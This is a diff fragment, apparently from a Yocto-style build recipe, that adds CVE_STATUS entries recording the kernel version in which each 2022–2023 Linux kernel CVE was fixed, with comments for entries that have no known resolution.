+CVE_STATUS[CVE-2022-26365] = "fixed-version: Fixed from version 5.19rc6"
+
+CVE_STATUS[CVE-2022-26373] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-2639] = "fixed-version: Fixed from version 5.18rc4"
+
+CVE_STATUS[CVE-2022-26490] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2022-2663] = "fixed-version: Fixed from version 6.0rc5"
+
+# CVE-2022-26878 has no known resolution
+
+CVE_STATUS[CVE-2022-26966] = "fixed-version: Fixed from version 5.17rc6"
+
+CVE_STATUS[CVE-2022-27223] = "fixed-version: Fixed from version 5.17rc6"
+
+CVE_STATUS[CVE-2022-27666] = "fixed-version: Fixed from version 5.17rc8"
+
+CVE_STATUS[CVE-2022-27672] = "fixed-version: Fixed from version 6.2"
+
+CVE_STATUS[CVE-2022-2785] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-27950] = "fixed-version: Fixed from version 5.17rc5"
+
+CVE_STATUS[CVE-2022-28356] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-28388] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-28389] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-28390] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-2873] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-28796] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-28893] = "fixed-version: Fixed from version 5.18rc2"
+
+CVE_STATUS[CVE-2022-2905] = "fixed-version: Fixed from version 6.0rc4"
+
+CVE_STATUS[CVE-2022-29156] = "fixed-version: Fixed from version 5.17rc6"
+
+CVE_STATUS[CVE-2022-2938] = "fixed-version: Fixed from version 5.17rc2"
+
+CVE_STATUS[CVE-2022-29581] = "fixed-version: Fixed from version 5.18rc4"
+
+CVE_STATUS[CVE-2022-29582] = "fixed-version: Fixed from version 5.18rc2"
+
+CVE_STATUS[CVE-2022-2959] = "fixed-version: Fixed from version 5.19rc1"
+
+# CVE-2022-2961 has no known resolution
+
+CVE_STATUS[CVE-2022-2964] = "fixed-version: Fixed from version 5.17rc4"
+
+CVE_STATUS[CVE-2022-2977] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-2978] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-29900] = "fixed-version: Fixed from version 5.19rc7"
+
+CVE_STATUS[CVE-2022-29901] = "fixed-version: Fixed from version 5.19rc7"
+
+CVE_STATUS[CVE-2022-2991] = "fixed-version: Fixed from version 5.15rc1"
+
+CVE_STATUS[CVE-2022-29968] = "fixed-version: Fixed from version 5.18rc5"
+
+CVE_STATUS[CVE-2022-3028] = "fixed-version: Fixed from version 6.0rc3"
+
+CVE_STATUS[CVE-2022-30594] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-3061] = "fixed-version: Fixed from version 5.18rc5"
+
+CVE_STATUS[CVE-2022-3077] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-3078] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-3103] = "fixed-version: Fixed from version 6.0rc3"
+
+CVE_STATUS[CVE-2022-3104] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-3105] = "fixed-version: Fixed from version 5.16"
+
+CVE_STATUS[CVE-2022-3106] = "fixed-version: Fixed from version 5.16rc6"
+
+CVE_STATUS[CVE-2022-3107] = "fixed-version: Fixed from version 5.17"
+
+CVE_STATUS[CVE-2022-3108] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2022-3110] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-3111] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-3112] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-3113] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-3114] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-3115] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-3169] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3170] = "fixed-version: Fixed from version 6.0rc4"
+
+CVE_STATUS[CVE-2022-3176] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2022-3202] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-32250] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-32296] = "fixed-version: Fixed from version 5.18rc6"
+
+# CVE-2022-3238 has no known resolution
+
+CVE_STATUS[CVE-2022-3239] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2022-32981] = "fixed-version: Fixed from version 5.19rc2"
+
+CVE_STATUS[CVE-2022-3303] = "fixed-version: Fixed from version 6.0rc5"
+
+CVE_STATUS[CVE-2022-3344] = "fixed-version: Fixed from version 6.1rc7"
+
+CVE_STATUS[CVE-2022-33740] = "fixed-version: Fixed from version 5.19rc6"
+
+CVE_STATUS[CVE-2022-33741] = "fixed-version: Fixed from version 5.19rc6"
+
+CVE_STATUS[CVE-2022-33742] = "fixed-version: Fixed from version 5.19rc6"
+
+CVE_STATUS[CVE-2022-33743] = "fixed-version: Fixed from version 5.19rc6"
+
+CVE_STATUS[CVE-2022-33744] = "fixed-version: Fixed from version 5.19rc6"
+
+CVE_STATUS[CVE-2022-33981] = "fixed-version: Fixed from version 5.18rc5"
+
+CVE_STATUS[CVE-2022-3424] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2022-3435] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-34494] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-34495] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-34918] = "fixed-version: Fixed from version 5.19rc6"
+
+CVE_STATUS[CVE-2022-3521] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3522] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3523] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3524] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3526] = "fixed-version: Fixed from version 5.18rc3"
+
+CVE_STATUS[CVE-2022-3531] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2022-3532] = "fixed-version: Fixed from version 6.2rc1"
+
+# CVE-2022-3533 has no known resolution
+
+CVE_STATUS[CVE-2022-3534] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2022-3535] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3541] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3542] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3543] = "fixed-version: Fixed from version 6.1rc1"
+
+# CVE-2022-3544 has no known resolution
+
+CVE_STATUS[CVE-2022-3545] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-3564] = "fixed-version: Fixed from version 6.1rc4"
+
+CVE_STATUS[CVE-2022-3565] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3566] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3567] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3577] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-3586] = "fixed-version: Fixed from version 6.0rc5"
+
+CVE_STATUS[CVE-2022-3594] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3595] = "fixed-version: Fixed from version 6.1rc1"
+
+# CVE-2022-3606 has no known resolution
+
+CVE_STATUS[CVE-2022-36123] = "fixed-version: Fixed from version 5.19rc6"
+
+CVE_STATUS[CVE-2022-3619] = "fixed-version: Fixed from version 6.1rc4"
+
+CVE_STATUS[CVE-2022-3621] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3623] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3624] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-3625] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-3628] = "fixed-version: Fixed from version 6.1rc5"
+
+CVE_STATUS[CVE-2022-36280] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2022-3629] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-3630] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-3633] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-3635] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-3636] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-3640] = "fixed-version: Fixed from version 6.1rc4"
+
+CVE_STATUS[CVE-2022-36402] = "fixed-version: Fixed from version 6.5"
+
+# CVE-2022-3642 has no known resolution
+
+CVE_STATUS[CVE-2022-3643] = "fixed-version: Fixed from version 6.1"
+
+CVE_STATUS[CVE-2022-3646] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-3649] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-36879] = "fixed-version: Fixed from version 5.19rc8"
+
+CVE_STATUS[CVE-2022-36946] = "fixed-version: Fixed from version 5.19"
+
+CVE_STATUS[CVE-2022-3707] = "fixed-version: Fixed from version 6.2rc3"
+
+# CVE-2022-38096 has no known resolution
+
+CVE_STATUS[CVE-2022-38457] = "fixed-version: Fixed from version 6.2rc4"
+
+CVE_STATUS[CVE-2022-3903] = "fixed-version: Fixed from version 6.1rc2"
+
+CVE_STATUS[CVE-2022-3910] = "fixed-version: Fixed from version 6.0rc6"
+
+CVE_STATUS[CVE-2022-39188] = "fixed-version: Fixed from version 5.19rc8"
+
+CVE_STATUS[CVE-2022-39189] = "fixed-version: Fixed from version 5.19rc2"
+
+CVE_STATUS[CVE-2022-39190] = "fixed-version: Fixed from version 6.0rc3"
+
+CVE_STATUS[CVE-2022-3977] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-39842] = "fixed-version: Fixed from version 5.19rc4"
+
+CVE_STATUS[CVE-2022-40133] = "fixed-version: Fixed from version 6.2rc4"
+
+CVE_STATUS[CVE-2022-40307] = "fixed-version: Fixed from version 6.0rc5"
+
+CVE_STATUS[CVE-2022-40476] = "fixed-version: Fixed from version 5.19rc4"
+
+CVE_STATUS[CVE-2022-40768] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-4095] = "fixed-version: Fixed from version 6.0rc4"
+
+CVE_STATUS[CVE-2022-40982] = "fixed-version: Fixed from version 6.5rc6"
+
+CVE_STATUS[CVE-2022-41218] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2022-41222] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2022-4127] = "fixed-version: Fixed from version 5.19rc6"
+
+CVE_STATUS[CVE-2022-4128] = "fixed-version: Fixed from version 5.19rc7"
+
+CVE_STATUS[CVE-2022-4129] = "fixed-version: Fixed from version 6.1rc6"
+
+CVE_STATUS[CVE-2022-4139] = "fixed-version: Fixed from version 6.1rc8"
+
+CVE_STATUS[CVE-2022-41674] = "fixed-version: Fixed from version 6.1rc1"
+
+# CVE-2022-41848 has no known resolution
+
+CVE_STATUS[CVE-2022-41849] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-41850] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-41858] = "fixed-version: Fixed from version 5.18rc2"
+
+CVE_STATUS[CVE-2022-42328] = "fixed-version: Fixed from version 6.1"
+
+CVE_STATUS[CVE-2022-42329] = "fixed-version: Fixed from version 6.1"
+
+CVE_STATUS[CVE-2022-42432] = "fixed-version: Fixed from version 6.0rc7"
+
+CVE_STATUS[CVE-2022-4269] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2022-42703] = "fixed-version: Fixed from version 6.0rc4"
+
+CVE_STATUS[CVE-2022-42719] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-42720] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-42721] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-42722] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-42895] = "fixed-version: Fixed from version 6.1rc4"
+
+CVE_STATUS[CVE-2022-42896] = "fixed-version: Fixed from version 6.1rc4"
+
+CVE_STATUS[CVE-2022-43750] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-4378] = "fixed-version: Fixed from version 6.1"
+
+CVE_STATUS[CVE-2022-4379] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2022-4382] = "fixed-version: Fixed from version 6.2rc5"
+
+CVE_STATUS[CVE-2022-43945] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2022-44032] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2022-44033] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2022-44034] = "fixed-version: Fixed from version 6.4rc1"
+
+# CVE-2022-4543 has no known resolution
+
+CVE_STATUS[CVE-2022-45869] = "fixed-version: Fixed from version 6.1rc7"
+
+# CVE-2022-45884 has no known resolution
+
+# CVE-2022-45885 has no known resolution
+
+CVE_STATUS[CVE-2022-45886] = "fixed-version: Fixed from version 6.4rc3"
+
+CVE_STATUS[CVE-2022-45887] = "fixed-version: Fixed from version 6.4rc3"
+
+CVE_STATUS[CVE-2022-45888] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2022-45919] = "fixed-version: Fixed from version 6.4rc3"
+
+CVE_STATUS[CVE-2022-45934] = "fixed-version: Fixed from version 6.1"
+
+CVE_STATUS[CVE-2022-4662] = "fixed-version: Fixed from version 6.0rc4"
+
+CVE_STATUS[CVE-2022-4696] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2022-4744] = "fixed-version: Fixed from version 5.16rc7"
+
+CVE_STATUS[CVE-2022-47518] = "fixed-version: Fixed from version 6.1rc8"
+
+CVE_STATUS[CVE-2022-47519] = "fixed-version: Fixed from version 6.1rc8"
+
+CVE_STATUS[CVE-2022-47520] = "fixed-version: Fixed from version 6.1rc8"
+
+CVE_STATUS[CVE-2022-47521] = "fixed-version: Fixed from version 6.1rc8"
+
+CVE_STATUS[CVE-2022-47929] = "fixed-version: Fixed from version 6.2rc4"
+
+CVE_STATUS[CVE-2022-47938] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-47939] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-47940] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2022-47941] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-47942] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-47943] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2022-47946] = "fixed-version: Fixed from version 5.12rc2"
+
+CVE_STATUS[CVE-2022-4842] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2022-48423] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2022-48424] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2022-48425] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2022-48502] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2022-48619] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2023-0030] = "fixed-version: Fixed from version 5.0rc1"
+
+CVE_STATUS[CVE-2023-0045] = "fixed-version: Fixed from version 6.2rc3"
+
+CVE_STATUS[CVE-2023-0047] = "fixed-version: Fixed from version 5.16rc1"
+
+CVE_STATUS[CVE-2023-0122] = "fixed-version: Fixed from version 6.0rc4"
+
+CVE_STATUS[CVE-2023-0160] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-0179] = "fixed-version: Fixed from version 6.2rc5"
+
+CVE_STATUS[CVE-2023-0210] = "fixed-version: Fixed from version 6.2rc4"
+
+CVE_STATUS[CVE-2023-0240] = "fixed-version: Fixed from version 5.10rc1"
+
+CVE_STATUS[CVE-2023-0266] = "fixed-version: Fixed from version 6.2rc4"
+
+CVE_STATUS[CVE-2023-0386] = "fixed-version: Fixed from version 6.2rc6"
+
+CVE_STATUS[CVE-2023-0394] = "fixed-version: Fixed from version 6.2rc4"
+
+CVE_STATUS[CVE-2023-0458] = "fixed-version: Fixed from version 6.2rc5"
+
+CVE_STATUS[CVE-2023-0459] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-0461] = "fixed-version: Fixed from version 6.2rc3"
+
+CVE_STATUS[CVE-2023-0468] = "fixed-version: Fixed from version 6.1rc7"
+
+CVE_STATUS[CVE-2023-0469] = "fixed-version: Fixed from version 6.1rc7"
+
+CVE_STATUS[CVE-2023-0590] = "fixed-version: Fixed from version 6.1rc2"
+
+CVE_STATUS[CVE-2023-0597] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2023-0615] = "fixed-version: Fixed from version 6.1rc3"
+
+CVE_STATUS[CVE-2023-1032] = "fixed-version: Fixed from version 6.3rc2"
+
+CVE_STATUS[CVE-2023-1073] = "fixed-version: Fixed from version 6.2rc5"
+
+CVE_STATUS[CVE-2023-1074] = "fixed-version: Fixed from version 6.2rc6"
+
+CVE_STATUS[CVE-2023-1075] = "fixed-version: Fixed from version 6.2rc7"
+
+CVE_STATUS[CVE-2023-1076] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-1077] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-1078] = "fixed-version: Fixed from version 6.2rc8"
+
+CVE_STATUS[CVE-2023-1079] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-1095] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2023-1118] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-1192] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-1193] = "fixed-version: Fixed from version 6.3rc6"
+
+CVE_STATUS[CVE-2023-1194] = "fixed-version: Fixed from version 6.4rc6"
+
+CVE_STATUS[CVE-2023-1195] = "fixed-version: Fixed from version 6.1rc3"
+
+CVE_STATUS[CVE-2023-1206] = "fixed-version: Fixed from version 6.5rc4"
+
+CVE_STATUS[CVE-2023-1249] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2023-1252] = "fixed-version: Fixed from version 5.16rc1"
+
+CVE_STATUS[CVE-2023-1281] = "fixed-version: Fixed from version 6.2"
+
+CVE_STATUS[CVE-2023-1295] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2023-1380] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-1382] = "fixed-version: Fixed from version 6.1rc7"
+
+CVE_STATUS[CVE-2023-1390] = "fixed-version: Fixed from version 5.11rc4"
+
+# CVE-2023-1476 has no known resolution
+
+CVE_STATUS[CVE-2023-1513] = "fixed-version: Fixed from version 6.2"
+
+CVE_STATUS[CVE-2023-1582] = "fixed-version: Fixed from version 5.17rc4"
+
+CVE_STATUS[CVE-2023-1583] = "fixed-version: Fixed from version 6.3rc4"
+
+CVE_STATUS[CVE-2023-1611] = "fixed-version: Fixed from version 6.3rc5"
+
+CVE_STATUS[CVE-2023-1637] = "fixed-version: Fixed from version 5.18rc2"
+
+CVE_STATUS[CVE-2023-1652] = "fixed-version: Fixed from version 6.2rc5"
+
+CVE_STATUS[CVE-2023-1670] = "fixed-version: Fixed from version 6.3rc4"
+
+CVE_STATUS[CVE-2023-1829] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-1838] = "fixed-version: Fixed from version 5.18"
+
+CVE_STATUS[CVE-2023-1855] = "fixed-version: Fixed from version 6.3rc3"
+
+CVE_STATUS[CVE-2023-1859] = "fixed-version: Fixed from version 6.3rc7"
+
+CVE_STATUS[CVE-2023-1872] = "fixed-version: Fixed from version 5.18rc2"
+
+CVE_STATUS[CVE-2023-1989] = "fixed-version: Fixed from version 6.3rc4"
+
+CVE_STATUS[CVE-2023-1990] = "fixed-version: Fixed from version 6.3rc3"
+
+CVE_STATUS[CVE-2023-1998] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-2002] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-2006] = "fixed-version: Fixed from version 6.1rc7"
+
+CVE_STATUS[CVE-2023-2007] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2023-2008] = "fixed-version: Fixed from version 5.19rc4"
+
+CVE_STATUS[CVE-2023-2019] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2023-20569] = "fixed-version: Fixed from version 6.5rc6"
+
+CVE_STATUS[CVE-2023-20588] = "fixed-version: Fixed from version 6.5rc6"
+
+CVE_STATUS[CVE-2023-20593] = "fixed-version: Fixed from version 6.5rc4"
+
+CVE_STATUS[CVE-2023-20928] = "fixed-version: Fixed from version 6.0rc1"
+
+# CVE-2023-20937 has no known resolution
+
+CVE_STATUS[CVE-2023-20938] = "fixed-version: Fixed from version 5.18rc5"
+
+# CVE-2023-20941 has no known resolution
+
+CVE_STATUS[CVE-2023-21102] = "fixed-version: Fixed from version 6.2rc4"
+
+CVE_STATUS[CVE-2023-21106] = "fixed-version: Fixed from version 6.2rc5"
+
+CVE_STATUS[CVE-2023-2124] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-21255] = "fixed-version: Fixed from version 6.4rc4"
+
+CVE_STATUS[CVE-2023-21264] = "fixed-version: Fixed from version 6.4rc5"
+
+# CVE-2023-21400 has no known resolution
+
+CVE_STATUS[CVE-2023-2156] = "fixed-version: Fixed from version 6.3"
+
+CVE_STATUS[CVE-2023-2162] = "fixed-version: Fixed from version 6.2rc6"
+
+CVE_STATUS[CVE-2023-2163] = "fixed-version: Fixed from version 6.3"
+
+CVE_STATUS[CVE-2023-2166] = "fixed-version: Fixed from version 6.1"
+
+CVE_STATUS[CVE-2023-2176] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-2177] = "fixed-version: Fixed from version 5.19"
+
+CVE_STATUS[CVE-2023-2194] = "fixed-version: Fixed from version 6.3rc4"
+
+CVE_STATUS[CVE-2023-2235] = "fixed-version: Fixed from version 6.3rc3"
+
+CVE_STATUS[CVE-2023-2236] = "fixed-version: Fixed from version 6.1rc7"
+
+CVE_STATUS[CVE-2023-2248] = "fixed-version: Fixed from version 6.3"
+
+CVE_STATUS[CVE-2023-2269] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-22995] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2023-22996] = "fixed-version: Fixed from version 5.18rc1"
+
+CVE_STATUS[CVE-2023-22997] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2023-22998] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2023-22999] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2023-23000] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2023-23001] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2023-23002] = "fixed-version: Fixed from version 5.17rc1"
+
+CVE_STATUS[CVE-2023-23003] = "fixed-version: Fixed from version 5.16rc6"
+
+CVE_STATUS[CVE-2023-23004] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2023-23005] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2023-23006] = "fixed-version: Fixed from version 5.16rc8"
+
+# CVE-2023-23039 has no known resolution
+
+CVE_STATUS[CVE-2023-23454] = "fixed-version: Fixed from version 6.2rc3"
+
+CVE_STATUS[CVE-2023-23455] = "fixed-version: Fixed from version 6.2rc3"
+
+CVE_STATUS[CVE-2023-23559] = "fixed-version: Fixed from version 6.2rc5"
+
+CVE_STATUS[CVE-2023-23586] = "fixed-version: Fixed from version 5.12rc1"
+
+CVE_STATUS[CVE-2023-2430] = "fixed-version: Fixed from version 6.2rc5"
+
+CVE_STATUS[CVE-2023-2483] = "fixed-version: Fixed from version 6.3rc4"
+
+CVE_STATUS[CVE-2023-25012] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-2513] = "fixed-version: Fixed from version 6.0rc1"
+
+CVE_STATUS[CVE-2023-25775] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-2598] = "fixed-version: Fixed from version 6.4rc1"
+
+# CVE-2023-26242 has no known resolution
+
+# CVE-2023-2640 has no known resolution
+
+CVE_STATUS[CVE-2023-26544] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2023-26545] = "fixed-version: Fixed from version 6.2"
+
+CVE_STATUS[CVE-2023-26605] = "fixed-version: Fixed from version 6.1rc7"
+
+CVE_STATUS[CVE-2023-26606] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2023-26607] = "fixed-version: Fixed from version 6.1rc1"
+
+CVE_STATUS[CVE-2023-28327] = "fixed-version: Fixed from version 6.1"
+
+CVE_STATUS[CVE-2023-28328] = "fixed-version: Fixed from version 6.2rc1"
+
+CVE_STATUS[CVE-2023-28410] = "fixed-version: Fixed from version 5.19rc1"
+
+CVE_STATUS[CVE-2023-28464] = "fixed-version: Fixed from version 6.3rc7"
+
+CVE_STATUS[CVE-2023-28466] = "fixed-version: Fixed from version 6.3rc2"
+
+CVE_STATUS[CVE-2023-2860] = "fixed-version: Fixed from version 6.0rc5"
+
+CVE_STATUS[CVE-2023-28772] = "fixed-version: Fixed from version 5.14rc1"
+
+CVE_STATUS[CVE-2023-28866] = "fixed-version: Fixed from version 6.3rc4"
+
+CVE_STATUS[CVE-2023-2898] = "fixed-version: Fixed from version 6.5rc1"
+
+CVE_STATUS[CVE-2023-2985] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-3006] = "fixed-version: Fixed from version 6.1rc1"
+
+# Skipping CVE-2023-3022, no affected_versions
+
+CVE_STATUS[CVE-2023-30456] = "fixed-version: Fixed from version 6.3rc3"
+
+CVE_STATUS[CVE-2023-30772] = "fixed-version: Fixed from version 6.3rc4"
+
+CVE_STATUS[CVE-2023-3090] = "fixed-version: Fixed from version 6.4rc2"
+
+CVE_STATUS[CVE-2023-3106] = "fixed-version: Fixed from version 4.8rc7"
+
+# Skipping CVE-2023-3108, no affected_versions
+
+# CVE-2023-31081 has no known resolution
+
+# CVE-2023-31082 has no known resolution
+
+CVE_STATUS[CVE-2023-31083] = "fixed-version: Fixed from version 6.6rc1"
+
+CVE_STATUS[CVE-2023-31084] = "fixed-version: Fixed from version 6.4rc3"
+
+CVE_STATUS[CVE-2023-31085] = "fixed-version: Fixed from version 6.6rc5"
+
+CVE_STATUS[CVE-2023-3111] = "fixed-version: Fixed from version 6.0rc2"
+
+CVE_STATUS[CVE-2023-3117] = "fixed-version: Fixed from version 6.4rc7"
+
+CVE_STATUS[CVE-2023-31248] = "fixed-version: Fixed from version 6.5rc2"
+
+CVE_STATUS[CVE-2023-3141] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-31436] = "fixed-version: Fixed from version 6.3"
+
+CVE_STATUS[CVE-2023-3159] = "fixed-version: Fixed from version 5.18rc6"
+
+CVE_STATUS[CVE-2023-3161] = "fixed-version: Fixed from version 6.2rc7"
+
+CVE_STATUS[CVE-2023-3212] = "fixed-version: Fixed from version 6.4rc2"
+
+CVE_STATUS[CVE-2023-3220] = "fixed-version: Fixed from version 6.3rc1"
+
+CVE_STATUS[CVE-2023-32233] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-32247] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-32248] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-32250] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-32252] = "fixed-version: Fixed from version 6.4rc1"
+
+CVE_STATUS[CVE-2023-32254] = "fixed-version: Fixed from version 6.4rc1"
+
